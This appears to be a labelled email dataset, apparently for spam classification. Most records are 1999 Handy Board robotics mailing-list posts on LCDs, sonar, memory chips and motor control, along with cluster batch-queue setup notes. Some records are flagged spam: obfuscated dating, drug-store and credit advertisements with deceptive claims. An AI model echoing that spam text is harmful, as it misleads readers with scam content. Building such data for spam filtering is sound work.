When a new handyboard is switched on without any software loaded that drives the LCD display, you should see the first line fully dark and the second line light. So what you see is normal. When you bring the HB in download mode, the situation stays the same. Then when you download software like IC, after the download process completes the LCD remains in that condition. You have to switch your board on and off to reboot and start the loaded program, this is when the LCD will show: Interactive C version 2.8.1 plus a heart beat if IC is loaded. Since the HB is used in Special test mode, the reset vector is at $BFFE, $BFFF and should point to $C5000 where IC starts. When you have done all of this or already did this and the situations remains the same, you could try to use dlm downloader in DOS, which checks every byte that downloads and sees if it arrives with the correct value. This checks out access to your SRAM chip and all the driver logic to it. It might be that one of the 74HC chips is busted and that you miss one or more of the data or address lines which prevents any program from running. The above check with dlm should reveal this though. Hope this helps, Bart Schrijver. ______________________________ Reply Separator _________________________________ Subject: Handyboard Assembly Problems Author: Non-HP-ukhan (ukhan@engr.umbc.edu) at HP-PaloAlto,mimegw2 Date: 6/17/99 4:11 AM I am assembling a handyboard, and am at stage 6.0.4, where I plug in my LCD screen for the first time. When I turn the handy board on, instead of getting the dimly lit arrays, I get a top array that is strongly lit, and bottom array that is lightly lit. The LCD screen is LM052L. I checked the power and ground and they seem to be ok. The download process goes fine, but there is no interactive C prompt. I also checked the orientation of chips and they all seem ok. Finally I did a continuity check and that seems alright too. To all the experts out there, I'd really appreciate your help. Regards, Umar ",0,0 BART_SCHRIJVER@HP-Sonoma-om2.om.hp.com,sakar@servidor.unam.mx,"Thu, 17 Jun 1999 10:17:13 -0700",Re: Memory Problem," Daniel: Yes I am running two handy boards with 62256LP-10 's that I have stripped from a scrap controller board of some sort. They work just fine. Total cost $0.99 plus effort to desolder them from the board. Regards, Bart Schrijver. ______________________________ Reply Separator _________________________________ Subject: Memory Problem Author: Non-HP-sakar (sakar@servidor.unam.mx) at HP-PaloAlto,mimegw2 Date: 6/17/99 10:56 AM Has anybody use the 62256LP-10, instead the 62256LP-120. Because I use and it doen't work, I'm starting to think, that it may be a HandyBoard problem, not a memory one. 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Look at the motor-driver circuit for example, where he uses hex address $7000. Also, look at ""The Robot Builder's Guide, Appendix B"" under the DOCS button on the Handy Board site for an explanation of how memory mapped I/O is implemented on the HC11. You can get all you need from the Handy Board site with a bit of study, but if you still have questions, email me privately and I'll work with you. Gary Livick http://www.lightwaverobotics.com Steve Wall wrote: > Hi, I want to construct my own expansion board with as many digital > in's and o literature ordering center uts as possible!! > I know this can be done but I don't know where to start. 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Accidently, I found the diodes, connected V+ of sonar module as depicted in ""Sonar Drivers for th Handy Board"" document, became very hot. Suprised, I turn off the HB power. After, HB doesn't work. So I must download PCODE. Now, HB works well. But sonar, doesn't work. Function sonar_sample( ) and sonar_closeup() always return -1. I've met the same problem before, that time I replaced the diodes and it works again, although I didn't think diodes have had the problem. This time also I replaced the diodes with another ones, but it doesn't work. How can I make it work again? Pls somebody help me. Thanks in advance. ",0,0 rmtmd ,"""KwangJu, Lee"" , handyboard@media.mit.edu","Sat, 19 Jun 1999 12:47:17 -0700",Re: My sonar doesn't work!,"Did you install a .1uF capacitor at C7 on the sonar boards? The 6500 doesn't work without that capacitor. Ross M. Tonkens, M.D. Medical Director Primary Care of Nevada 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 702 914-7120 VOICE 702 914-7129 FAX KwangJu, Lee KwangJu, Lee >I'm dealing with 2 sonar 6500 module. Accidently, I found the diodes, >connected V+ of sonar > module as depicted in ""Sonar Drivers for th Handy Board"" document, became >very hot. > Suprised, I turn off the HB power. After, HB doesn't work. So I must >download PCODE. > Now, HB works well. But sonar, doesn't work. Function sonar_sample( ) and >sonar_closeup() > always return -1. I've met the same problem before, that time I replaced >the diodes and it works > again, although I didn't think diodes have had the problem. > This time also I replaced the diodes with another ones, but it doesn't >work. > How can I make it work again? > Pls somebody help me. Thanks in advance. Ross Tonkens ",0,0 """KwangJu, Lee"" ","rmtmd , handyboard@media.mit.edu","Sun, 20 Jun 1999 09:36:05 +0900",Re: My sonar doesn't work!,"Yes. Of course. It's worked well before the accident. ----- Original Message ----- From: rmtmd To: KwangJu, Lee ; Sent: Sunday, June 20, 1999 4:47 AM Subject: Re: My sonar doesn't work! > Did you install a .1uF capacitor at C7 on the sonar boards? The 6500 > doesn't work without that capacitor. >",0,0 """Terry P. Gathright"" <669@worldnet.att.net>","handyboard@media.mit.edu, Evan Noynaert ","Sun, 20 Jun 1999 12:55:12 -0500",Re: IRPD sensors,"Hi Evan, Did you ever get any code that would work for the irpd sensors? I too have a line tracker and a irpd proximity detector but have not connected to the HB. I purchased them in kit form from Lynxmotion . ---------- > From: Evan Noynaert > To: handyboard@media.mit.edu > Subject: IRPD sensors > Date: Monday, June 14, 1999 11:13 AM > > I have gotten some Infrared Proximity Detectors (IRPD), but no > instructions for using them with the handyboard. These are > set up with an infrared LED on each type of the sensor, and > they are intended to give left/right/front detection. > > The program that came with them is written for a basic STAMP > controller. I don't know much about the stamps, but > it looks like the code alternately flashes the LED's and > checks the sensors. > > Can anyone give me any pointers for using these with the > handyboard? > > -- > Evan Noynaert, Department of Computer Science, Mathematics, & Physics > noynaert@griffon.mwsc.edu phone: 816/271-4308 fax: 816/271-4574 > Missouri Western State College > St. Joseph, Missouri, USA 64507",0,0 Elliot ,handyboard@media.mit.edu,"Sun, 20 Jun 1999 13:06:30 -0400",are you alone?,"c0ntct sinngle hh0rrny femalez searrch 0nline here ""Why? said Lucy in amazement, ""haven't you all been wondering where I was?""",1,1 Charles Hacker EAS ,handyboard@media.mit.edu,"Mon, 21 Jun 1999 08:31:48 +1000",Update for HandyBoard Buffalo,"Hello all, Just to let you know, I have updated my HB_Buffalo development system. It can be obtained at the following web address: http://132.234.46.5/Programs/HBoard/Index.shtml What is it: HB_Buffalo is a monitor operating system that facilitates the development of machine code programs on the HandyBoard. The function is similar to the Buffallo monitor provided on the Motorola EVB 68HC11 microprocessor boards. What new: - More function in the HandyBoard monitor. - A lot of re-work in the monitor code, such that code can be more easily enhanced. - More extensive (an hopefully correct) documentation - Assembly Help file Charles Hacker Lecturer in Electronics, Computing and Physics School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@mailbox.gu.edu.au Ph. (07) 5594 8670 Fax.(07) 5594 8065 ",0,1 Cilka Kealoha ,handyboard@media.mit.edu,"Mon, 21 Jun 1999 04:05:17 -0700",Re: ioxyl news,"Dea j r Home Ow q ne p r , Your c x redi i t doesn't matter to us ! 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Matthijsse"" ",'Handyboard' ,"Mon, 21 Jun 1999 20:00:33 +0200",RE: Where can I get a Sonar?,"Jens, There are many options, one is for the 'expensive', but proven polaroid 6500 sensor. I went for my own. I have on my handy-board hooked-up a self-made sensor array. It is using simple Murata Send/Receiver Sonar sensors with some electronic and a PIC 16F84 on 4 Mc. The PIC is capable of managing 4 of those Send/Rcv sets and measures up to 2 meters with an accuracy of +/- 2 cm over the whole range. For the moment I only used two Send/Rcv sets. The output is send via the SPI interface to the HB and output is formatted in cm. (so 4 - 200 are valid values, 255 means, no echo measured). The HB runs a very very simple SPI interrupt routine and the sonar values are available as IC variables. No overhead what so every, easy and accurate. For the moment all Send-Sonars fire a 16 pulses * 40 kHz puls-train at the same time, so carefull aiming of Rcv-senors is required. I myself feed these values in a Fuzzy Logic Controller (running in assembles code on the HB) and output to the motors. The HB-Robot happily drives around my living room, avoiding obstacles and collisions. The fuzzy-logic code is adapted from the Motorola FUDGE stuff from the early '90, but it still works like a charm. In the coming weeks I will prepare my website (which website :-) ) with info on how to build this sensor array, with code needed in the PIC 16F84 etc. Also I will prepare explanation on FUDGE and how to adapt it to IC. If you are impatient then ....... Rien > -----Original Message----- > From: JensGraf [mailto:JensGraf@gmx.de] > Sent: Sunday, June 20, 1999 10:20 AM > To: Handyboard > Subject: Where can I get a Sonar? > > > Hallo, > > I am searching a ultrasonic based mesurement system. Has anybody a > circuitry? > > regards, > > Jens > ",0,0 Gregory Hayward ,handyboard@media.mit.edu,"Mon, 21 Jun 1999 16:01:34 -0500",Parts buying help.,"To the wise HB builders, First can I us a poly-styrene cap of the same value instead of the polypro?? Can I use a 3.92 1% in place of the 3.83 1%, what will happen?? Can I use a -8 instead of a -12 or -10 32k memory chip?? Has anyone created shopping list for us that go to surplus house for parts? I am helping 15 students at San Jose State College build HB this summer. I have been visiting the local surplus houses and have created a shopping list, but it needs to be fixed up with more information. The list I want to create would list the part and voltage values, like for caps and also what can be substitutes for different parts. If there is interest in a list like this and Fred would look over my should, I could finish this one off and see if Fred would post it. Thanks for all the help and advice everyone. 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Thus far I have gotten 3 and 4, but I am curious as to what the rest are as well. =) Andrea ",0,0 saroyan@us.ibm.com,handyboard@media.mit.edu,"Tue, 22 Jun 1999 13:56:01 -0600",GP2D02," I am having trouble getting the IR sensor to show values on the LCD screen. I am confident that it is finally hooked up correctly. The following is what is included in the list file to automatically download into the board: explego.icb lib_hb.icb libexpbd.icb expservo.icb Gp2d02_i.icb sonar.icb /expsens.c /lib_hb.c Am I missing anything? Then I load the test for the sensor from Barry's page and I still just get ""zeros"" on the LCD screen. I have hooked up the input and output of the sensor to an oscilloscope and was able to see the pulses going to the sensor. The timing was a little off but in general it seemed to be receiving signals. What could be going wrong? Is it hardware or software? Thanks for all of your help. Salpi Aroyan Tapehead Manufacturing Engineering International Business Machine Corporation saroyan@us.ibm.com (408) 256-8251 ",0,0 saroyan@us.ibm.com,handyboard@media.mit.edu,"Tue, 22 Jun 1999 14:49:23 -0600",serial interface building," A group of us are building the HB and we are at the serial interface building stage. When we perform the test on the serial interface to get +9 or +10 volts, we are all getting values of up to +8.5 only. Is there a problem or is this normal? Thanks for your help. Salpi ",0,0 """Michael F. Vineyard"" ",ggilfoyl@richmond.edu,"Tue, 22 Jun 1999 16:55:20 -0400",Re: dqs,"gilfoyle wrote: > yo, > > i have given arne an account on psc1 and provided him > with the superuser password on psc1. he will start working > on getting dqs set up soon and will also do some dns > stuff like exporting passwords and accounts so we don't > need to maintain accounts on all the machines. > > jerry Will it get in his way if I start a long (~2 day) job on psc2? ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 22 Jun 1999 17:04:34 -0700",[DMDX] blitting fail," Has anyone seen a DDS2:Blt() report success but actually fail? That is, not perform the blit? I have an exceedingly rare instance on a multimon machine (using the secondary display adapter that isn't part of the desktop) with a couple of 4M S3 cards in it where this appears to occur and it scares me -- so in order to vanquish the boogey man I'd like someone to reassure me that this is a technical impossibility and that no one has ever seen such behaviour. I'm used to breaking video drivers, what with flipping chains with 12 backbuffers, however I'm pretty sure I've got the code dialled in, after all it's been used for more than year now in copious numbers of machines and no one has ever noticed this before so I'm figuring it might be a machine specific timing hole. The machines that exhibit this behaviour are all P166 machines and I sure as hell can't replicate it on any other box I've got, they're all faster. 'Course it's complicated by the fact that only certain people can produce the error with any reliability and even then it can take them many minutes before the error occurs but I've seen it with my eyes so I know it's there. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Chicago Transit Authority Rider's Rule #36: Never ever ask the tough looking gentleman wearing El Rukn headgear where he got his ""pyramid powered pizza warmer"". - Chicago Reader 3/27/81 ",0,0 Arne Freyberger ,ggilfoyl@richmond.edu,"Tue, 22 Jun 1999 20:10:55 -0400",psc cluster ," Gerry, I logged onto psc1 okay. 1) However I will need an account on all the other nodes as well unless we go for item 5. The reason I need a personal account is that I like to slogin in as myself, and then invoke ""su"". This way all the ""su"" connections are ""secure"". 2) secure shell is not running on the other nodes (psc2 at least). I'll install it on all nodes once I am set up. 3) I do not see the need for /data and /home on psc2->pscn since the home disk will be served from psc1. So I would rename the /home parition to something like /scratch. This way you'll have 13Gig for data (semi permanant) and 13 gig for scratch (temporary). 4) I again recommend using the automount deamon (which is already running on psc1) as opposed to having all those volumes permanently nfs mounted. Again I'll do this as well but not until I can get access to the whole cluster. 5) This is just the first pass, I am rethinking doing ALL this remotely and think that the initial setup/reconfiguration would go faster/easier if I was up at UR....we (as a family) were thinking of making a road trip to richmond to see the Egypt show at the Art Museum..depending when tickets are available...I'll get back to you on this...but sitting on the machines I could get a lot done in several hours....instead of running into walls...(and the family can go to the museum while I work not exactly as we originally were planning....) more later... Arne -- Arne Freyberger JLAB (Mail Stop 12H) Phone: (757) 269-6268 12000 Jefferson Avenue Pager: (757) 249-6268 freyberg@cebaf.gov Newport News, VA 23606 Phax: (757) 269-5800 http://claspc1.cebaf.gov ",0,1 Arne Freyberger ,ggilfoyl@richmond.edu,"Tue, 22 Jun 1999 20:50:05 -0400",DQS up on psc1," Gerry, I have DQS up and running on psc1 (qmaster and dqs_execd). I also created GSIM queues for the nodes....try to execute the following command: qstat -f You sould get a dump of all the queues ..and they will show up as UNKNOWN since I have not start the dqs services on the other nodes... I did make one gsim slot on psc1 just to see if things are working. To submit a job to run in the gsim queue you need to execute: qsub -l gsim my_gsim_script And DQS will pick the first ""gsim"" queue available. Each queue will accept two simulataneous jobs and there is a hard time limit of 16hours... I also altered /etc/csh.cshrc on psc1 to put /usr/local/bin in the predefined path. I also made soft links to the /home/clas/DQS/bin/* to entries in /usr/local/bin. Anyway things are pretty close...but I basically have to repeat what I did on psc1 11 times ... plus deal with reconfiguring the nfs mounts... Once I have things working I'll write some example scripts that hopefully will make things easier.... Good Night.... Arne -- Arne Freyberger JLAB (Mail Stop 12H) Phone: (757) 269-6268 12000 Jefferson Avenue Pager: (757) 249-6268 freyberg@cebaf.gov Newport News, VA 23606 Phax: (757) 269-5800 http://claspc1.cebaf.gov ",0,1 lroska ,"""handyboard@media.mit.edu"" ","Wed, 23 Jun 1999 00:08:58 -0400",speed control help,"I have a problem that involves speed control. My robot is curently configured for differential steering and have shaft encoders installed on each one for feedback. the shaft encoders generate 64 pulses /rev The motors are PWM using the rug warrior setup. The problem is that the motors are non linear in respect to the power applied to them. At full power (100%) the shaft encoders return 64 pulses/s at 75% they return 62 pulses/s, at 50% power they return 60 pulses/s and at 25% they return 50 pulses/s the speed control software i'm using is assuming that the response is linear so for 50% power it expects to see 32 pulses/s but in fact it is receiving 50 pulses/s therefore it slows down the motor to a crawl. Is there a formula that I can use to solve for the expected pulses/s for a given power input? Any help is appreciated! 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OK, although the bulk of the effort was getting the qmaster going on psc1 and setting up the queues. Now we just need to get dqs_execd running on the rest of the hosts. Once I do one or two nodes I'll send you the list of commands.... I'll also try to write some documentation on how to add and modify DQS queues. Since I think you'll be doing more of this than configuring machines. Also can you please send my two emails of last night back to me, so I can refresh my thoughts on what I did and what needs to be done. I am trying to do this on my own time so that I can honestly say it wasn't JLAB supported in anyway (besides email...) so I'll get back to the psc nodes tonight. Arne -- Arne Freyberger JLAB (Mail Stop 12H) Phone: (757) 269-6268 12000 Jefferson Avenue Pager: (757) 249-6268 freyberg@cebaf.gov Newport News, VA 23606 Phax: (757) 269-5800 http://claspc1.cebaf.gov ",0,1 Will ,Handyboard Mailing List ,"Wed, 23 Jun 1999 10:05:00 -0600",Re: speed control help,"lroska wrote: > My robot is curently configured for differential steering and have > shaft encoders installed on each one for feedback. > The problem is that the motors are non linear in respect to the power > applied to them. > the speed control software i'm using is assuming that the response is > linear so for 50% power it expects to see 32 pulses/s but in fact it is > receiving 50 pulses/s therefore it slows down the motor to a crawl. The easy solution is to avoid using a formula that assumes anything about the motor speed curve (except of course that reducing the motor value reduces the speed). Try using a feedback mechanism: Keep track of the cumulative pulses from each wheel; while the difference between the two is non-zero, keep decrementing (or incrementing) one of the motor values. This will rapidly fine tune itself to the particular characteristics of the motors, batteries, terrain, etc. You can have a sort of speed control daemon running in a separate process. Works for me! Good luck. -- Will P.S.--The *smooth* PWM routine (available from the HB web site) is probably needed for this application. , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, America's one of the finest countries Will Bain, anyone ever stole. & Tatoosh --Bobcat Goldthwait",0,0 Gary Livick ,lroska ,"Wed, 23 Jun 1999 09:45:19 -0700",Re: speed control help,"It sounds like you are running open loop. If you use the wheel encoders as feedback devices to close the loop, then you can use the motor control function in your program as a variable to adjust motor control current via PWM to match the command speed. It is basically a fly-by-wire system then. You command a target speed, give it to the motor control logic and then let the software maintain the command speed. The result should be that the robot will move at the command speed when going up hill, down hill, over rough carpet and over smooth surfaces within the torque limitations of your motors. The code to do this has already been generated. If you look at the Rug Warrior book, ""Mobile Robots, 2nd ed."" on page 393, there it is. The first edition of the book also describes the method in detail. Gary Livick lroska wrote: > I have a problem that involves speed control. > > My robot is curently configured for differential steering and have > shaft encoders installed on each one for feedback. > > the shaft encoders generate 64 pulses /rev > The motors are PWM using the rug warrior setup. > > The problem is that the motors are non linear in respect to the power > applied to them. > > At full power (100%) the shaft encoders return 64 pulses/s > at 75% they return 62 pulses/s, at 50% power they return 60 pulses/s > and at 25% they return 50 pulses/s > > the speed control software i'm using is assuming that the response is > linear so for 50% power it expects to see 32 pulses/s but in fact it is > receiving 50 pulses/s therefore it slows down the motor to a crawl. > > Is there a formula that I can use to solve for the expected pulses/s for > a given power input? > > Any help is appreciated! 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Ethan Getz UNM Electrical Engineering Dept. >From: shsc9801@condor.stcloudstate.edu >To: handyboard@media.mit.edu >Subject: 6500 returning dd values >Date: Mon, 03 May 1999 07:51:53 -0500 > >Hello, I connected a Polaroid 6500 to my expansion board on my handy board >and tried to test it but it returnes a different value every time, some of >them being odd values (eg -24567). Heres how it lies - on the 6500 per. >bd. E1 is connected to the 'metal strip' (could not think of the >appropriate name) and E2 is connected to the base (grounded) on the sonar >""speaker"". There has been a 0.1 UFD @ 50 VCD electrolytic capacitor added >in position C7. Whenever you run any of the programs in sonar.c, when it >checks the distance the sonar ""speaker"" ticks once. But, as I said, it >returns odd values never being the same. > >Can anyone help? > >Scott Sherman >IT Spec. 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I then did the following: edited /etc/rc.d/rc.local on all the machines so that dqs_execd is launched upon reboot of the machines made /data and /scratch world read/writable increased the maximum number of jobs a user can have queued(running and pending) to 100 it was 10... change the priority of the all the pscn_gsim queues to 10 (was 0...highest priority) this may change....it all depends on how you want to use the machines... changed the job limit from 4 to 2 per queue since there are two CPUs Then I mucked around trying to get the celeg-gsim chain working.. but the build on psc1 /home/clas is rather incomplete....In particular I had to build my own version of celeg (it built without a problem) but the parms area does not have clasbanks.ddl but instead a pointer to the location on the CUE machines. In addition Mike has all the /home/clas stuff under his domain so I could not modify it... I think he needs to go into: $CLAS_PACK/bankdefs and execute make and then copy the clasbanks.ddl in tothe CLAS_PARMS area. without clasbanks.ddl I can't get anywhere.... Basically, I consider DQS ""installed"" you now how to add/delete queues so you can modify it however you like. If you have any problems on the DQS side give me a ring. Once there is an established build of all the components needed to run the gsim chain then I can fine tune my scripts. There are several other issues that may or may not need consideration: 1) Do you want to eliminate interactive logins on psc2-12??? 2) Get the UPS serial line hooked up, I'll forward you information on the cable. I think the straight serial hook up will work but let me check first. 3) how to collect the completed files from the gsim jobs 4) deal with two jobs running simultaneously on one machine. Presently my scripts cannot deal withh this and there is a possibilty that the jobs will stomp on each other.... Also, upon departure from gottwald my right front tire was down to 25%...made to a gas station on grove...pumped it up and we made it back to yorktown...wonder how full it will be tomorrow morning... Have a good weekend... Arne -- Arne Freyberger JLAB (Mail Stop 12H) Phone: (757) 269-6268 12000 Jefferson Avenue Pager: (757) 249-6268 freyberg@cebaf.gov Newport News, VA 23606 Phax: (757) 269-5800 http://claspc1.cebaf.gov ",0,1 Victor Lee ,handyboard@media.mit.edu,"Sun, 13 Dec 1998 14:32:32 +0800",IC question,"Dear All, I have a question on the operation of the Handy Board motor outputs which i do not understand. As deduced from the schematic diagram, I believe that the HC374 chip clock input is connected to a Y6 terminal. This Y6 terminal is one of the outputs of a 74'138 decoder which will trigger when a value is poked to the address 0x0e. Based on the diagram, I would expect Y6 to be active only when A15 is low while A14, A13 and A12 are high, but this doesn't correspond to the address 0x0e right? Am I wrong in interpreting A15 as the most significant bit? Also, is the 0e (in hex) unique in IC only? I can't seem to figure why is there a preceding 0. Also, I am currently modifying the Handy Board to support more motor outputs and is intending to tap Y0 terminal to a HC574 chip (clock input) on the new board. What address should i poke to? Sorry, sounds trivial but didnt manage to find any answers on the web. Would appreciate help/advice of any kind. Thanks in advance. Regards, Victor ",0,0 Jayne Jones ,Bait ,"Sat, 26 Jun 1999 03:20:57 +0000",Our store is your cureall!," Its true because we have a great number of different dr@gs! Pain relief, love life enhancement, depression suppress, weight loss and much more! Our store is VERIFIED BY BBB and APPROVED BY VISA! Click here for getting your health problems away at once! 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If you look on the Handy Board site under DOCS, and download the ""The 6.270 Robot Builder's Guide, Appendix B"" Fred explains memory mapped I/O. The Y lines you refer to are decoded chip selects for you to use at addresses other than $7000. 3. Address 0x0e is the location of the free running sixteen bit timer that runs on the HC11, and is often used for all kinds of time related routines such as PWM. Good luck, Gary Livick Victor Lee wrote: > Dear All, I have a question on the operation of the Handy > Board motor outputs which i do not understand. As deduced from the > schematic diagram, I believe that the HC374 chip clock input is > connected to a Y6 terminal. This Y6 terminal is one of the outputs of > a 74'138 decoder which will trigger when a value is poked to the > address 0x0e. Based on the diagram, I would expect Y6 to be active > only when A15 is low while A14, A13 and A12 are high, but this doesn't > correspond to the address 0x0e right? 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But I have not found a way to ""eliminate"" that low value which was low enough to cause major problems for me. Does anyone else have an idea on how to solve this? Scott >Hello all, > >I have a Polaroid 6500 connected to the HB in the standard and well >documented fashion. It is working and delivers values that approximate the >correct distances. However, it is somewhat inconsistent. For example it >will return a lower (shorter) value when first used. This will gradually >increase and become more accurate. I am using a multi-tic and an average >for the readings in hopes of getting an overall average reading. Has anyone >experienced inconsistent readings from thier sonar? Have they been able to >correct it? > >Please help! > >Bob Kelly Scott Sherman IT Spec. II St. Cloud State University 720 4th Avenue South Academic Computer Services ECC Building, Room 101 (320) 255-4888 ",0,0 SNESS@amcomp.com,handyboard@media.mit.edu,"Mon, 28 Jun 1999 08:24:50 -0400",,"Call me a weenie -- I'm in over my head... anyone in the market for a handyboard? HandyBoard - (board only) Battery Charger Board (board only) Expansion Board Kit Untouched -- didn't even start the project. ",0,0 Carlos Fernandez ,SNESS@amcomp.com,"Mon, 28 Jun 1999 09:18:08 -0400",Re: ,"Don't feel bad. I felt the same way. My background is in PC Windows programming, and this is very very very different and frustrating to get started. If you are still interested you should consider buying a board that is already assebled. Thats how I started. Yeah, you spend more money, but their is so much to learn that its hard to start at the bottom. The Handy Board is the best, easiest board around. I know it doesn't feel that way now. But once you get the hang of it, you will be building your own boards. You can always just put it aside and come back to it when you have the knowledge that you need. I did that to, what can I tell you I was GREEN, then again I think I still am when ever I talk to some of the people or read some of the emails. Its like WOW, all I know its how much I don't know yet. :) ) If you still want to sell the boards let me know, I would be interested. Good Luck Carlos ----- Original Message ----- From: To: Sent: Monday, June 28, 1999 8:24 AM > Call me a weenie -- I'm in over my head... > anyone in the market for a handyboard? > HandyBoard - (board only) > Battery Charger Board (board only) > Expansion Board Kit > Untouched -- didn't even start the project. > > >",0,0 SNESS@amcomp.com,"softech@ptdprolog.net, SNESS@amcomp.com","Mon, 28 Jun 1999 10:14:10 -0400",RE: ,"Thanks, Carlos. I will buy a completed board for my project. I don't foresee building a handy board from scratch any time soon. -----Original Message----- From: Carlos Fernandez [mailto:softech@ptdprolog.net] Sent: Monday, June 28, 1999 9:18 AM To: SNESS@amcomp.com Cc: handyboard@media.mit.edu Subject: Re: Don't feel bad. I felt the same way. My background is in PC Windows programming, and this is very very very different and frustrating to get started. If you are still interested you should consider buying a board that is already assebled. Thats how I started. Yeah, you spend more money, but their is so much to learn that its hard to start at the bottom. The Handy Board is the best, easiest board around. I know it doesn't feel that way now. But once you get the hang of it, you will be building your own boards. You can always just put it aside and come back to it when you have the knowledge that you need. I did that to, what can I tell you I was GREEN, then again I think I still am when ever I talk to some of the people or read some of the emails. Its like WOW, all I know its how much I don't know yet. :) ) If you still want to sell the boards let me know, I would be interested. Good Luck Carlos ----- Original Message ----- From: To: Sent: Monday, June 28, 1999 8:24 AM > Call me a weenie -- I'm in over my head... > anyone in the market for a handyboard? > HandyBoard - (board only) > Battery Charger Board (board only) > Expansion Board Kit > Untouched -- didn't even start the project. > > >",0,0 Dionne Chavez ,DMDX@psy1.psych.arizona.edu,"Mon, 28 Jun 1999 08:03:41 -0400",ȸ����! ����� �ڱݹ���! ���� ���̻� �������� ������!,"Janie, the friend of Janie and meditates with diskette near.Indeed, inside hand learn a hard lesson from maestro about prime minister.Janie, although somewhat soothed by chain saw defined by and toward garbage can. ",1,0 Ziolko Ryan-crz074 ,handyboard@media.mit.edu,"Mon, 28 Jun 1999 11:30:24 -0500",Quickcams,"Hello All- I was wondering if you guys know of anyone that is using a quickcam for a robot. I would REALLY like to see it done... but I don't know where to start. Any help is greatly appreciated. --------------------------------------------------------------- Ryan Ziolko Secure Design Center, Motorola Inc. Phone: 847-538-6662 Email: Ryan.Ziolko@motorola.com --------------------------------------------------------------- ",0,0 phil white ,handyboard@media.mit.edu,"Mon, 28 Jun 1999 09:41:02 -0700",chips ,"oes anyone have a reliable source of the 68hc11 they are being obseleted by motorola and i can get less than 100... and i work for an electronics manufacturer. thanks phil _______________________________________________________________ Get Free Email and Do More On The Web. Visit http://www.msn.com ",0,1 Sean Verret ,,"Mon, 28 Jun 1999 09:53:53 -0700",Moving Straight,"Is there anyone who has written or seen IC code that will keep a robot moving straight with 2 DC motors and four side sensors? 2 on each side. The main reason I ask is because one of my DC motors seems to put out more power that the other one and this moves faster and my robot like to turn into walls.... I'm using the analog sensor inputs with IR sensors - the values range from 0-255 255 being can't see anything, and 0 being right against a wall.. I was thinking something like - if back left > 128 speed up left motor or decrease right motor speed and similar scenarios for the other sensors.... I'm asking just to save myself some time.... If anyone can help that'd be greatly appreciated!! Cheers Sean Verret Design Services PMC-Sierra ext 2527 ",0,0 Michael N Rosenblatt ,Ziolko Ryan-crz074 ,"Mon, 28 Jun 1999 13:23:38 -0400",Re: Quickcams," Hi Ryan, The Robot Learning Lab at Carnegie Mellon's Robotics Institute has used Quickcams for vision applications. The URL is http://www.cs.cmu.edu/~rll/ I'm not sure how much info is available. But I know it can be done. Michael On Mon, 28 Jun 1999, Ziolko Ryan-crz074 wrote: > Hello All- > > I was wondering if you guys know of anyone that is using a quickcam for a > robot. I would REALLY like to see it done... but I don't know where to > start. Any help is greatly appreciated. > > --------------------------------------------------------------- > Ryan Ziolko > Secure Design Center, Motorola Inc. > Phone: 847-538-6662 > Email: Ryan.Ziolko@motorola.com > --------------------------------------------------------------- > > ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Mon, 28 Jun 1999 11:02:52 -0700",Re: Moving Straight,"Sean ... Probably the best way to maintain a constant heading is to use shaft encoders on both drive wheels ... monitor their rotation ... adjust one motor to give identical turn counts. The book ""Mobile Robots: Inspiration to Implementation"" by Jones, Flynn, and Seiger provides a description of this method complete with IC code examples. IMO this book is an absolute essential for anyone using the HandyBoard ... at least until Fred Martin's book is finally published. Nick Sean Verret wrote: > > Is there anyone who has written or seen IC code that will keep a robot > moving straight with 2 DC motors and four side sensors? 2 on each > side. The main reason I ask is because one of my DC motors seems to put > out more power that the other one and this moves faster and my robot > like to turn into walls.... > > I'm using the analog sensor inputs with IR sensors - the values range > from 0-255 > 255 being can't see anything, and 0 being right against a wall.. > > I was thinking something like - if back left > 128 speed up left motor > or decrease right motor speed and similar scenarios for the other > sensors.... > > I'm asking just to save myself some time.... If anyone can help that'd > be greatly appreciated!! > > Cheers > Sean Verret > Design Services > PMC-Sierra ext 2527 ",0,0 Ethan Getz ,handyboard@media.mit.edu,"Mon, 28 Jun 1999 10:53:17 -0700",6500 sonar ," A week ago I has using the sonar ranger with the expansion board but without connecting J12 to digital input 7. I had the sonar making the CLICKING sound (which is good) but the numbers that were being displayed onto the LCD were random (not good). I found out that J12, which is located on the expansion board, needed to be connected to digital input 7 located on the handyboard. Digital input 7 is the farthest digital input to the right amongst the digital inputs. My numbers were now all positive and it appeared as if I might had finally made some progress. The next day I came in and tested the sonar to find that it is now silent (no clicking) and is also displaying random numbers that are both positive and negative. I tested the init pin, located on the TL851 digital chip, using an oscilloscope and it seems to be giving a square pulse like it should. I then checked the echo and couldn't find a signal. I also noticed that while I was gone my lab partner (it's always your lab partner, right?) connected one of the servo motors to the expansion board with the ground and signal pins reversed (this is easy to do...so be careful). Did this cause my sonar to become a mute. It doesn't click anymore!! In other word, one step forward and two steps back. I don't think it is the sonar ranging module circuit board because I switched it out with a replacement and the replacement is mute as well. This leads me to beleive that my problem is somewhere on the handyboard. Does any body have anything to say. Thanx in advance. Ethan _______________________________________________________________ Get Free Email and Do More On The Web. Visit http://www.msn.com ",0,1 """Curt Mills, WE7U"" ",Sean Verret ,"Mon, 28 Jun 1999 11:15:36 -0700",Re: Moving Straight,"On Mon, 28 Jun 1999, Sean Verret wrote: > Is there anyone who has written or seen IC code that will keep a robot > moving straight with 2 DC motors and four side sensors? 2 on each > side. The main reason I ask is because one of my DC motors seems to put > out more power that the other one and this moves faster and my robot > like to turn into walls.... > > I'm using the analog sensor inputs with IR sensors - the values range > from 0-255 > 255 being can't see anything, and 0 being right against a wall.. > > I was thinking something like - if back left > 128 speed up left motor > or decrease right motor speed and similar scenarios for the other > sensors.... > > I'm asking just to save myself some time.... If anyone can help that'd > be greatly appreciated!! Sorry, I do other things with my controllers than control robots (shame on me!). From other discussions I've seen though, I would think that you could use some feedback from the turning shafts, like optical turns counters or some such. I wouldn't imagine that trying to use IR sensors for distance would work very well. If you were moving quite slowly, then maybe... Another thing that might make this easier is to use the smooth-PWM routines, which give you much finer control over the speed of each motor than the standard Interactive-C routines. You'll still need to close the control loop though. Curt 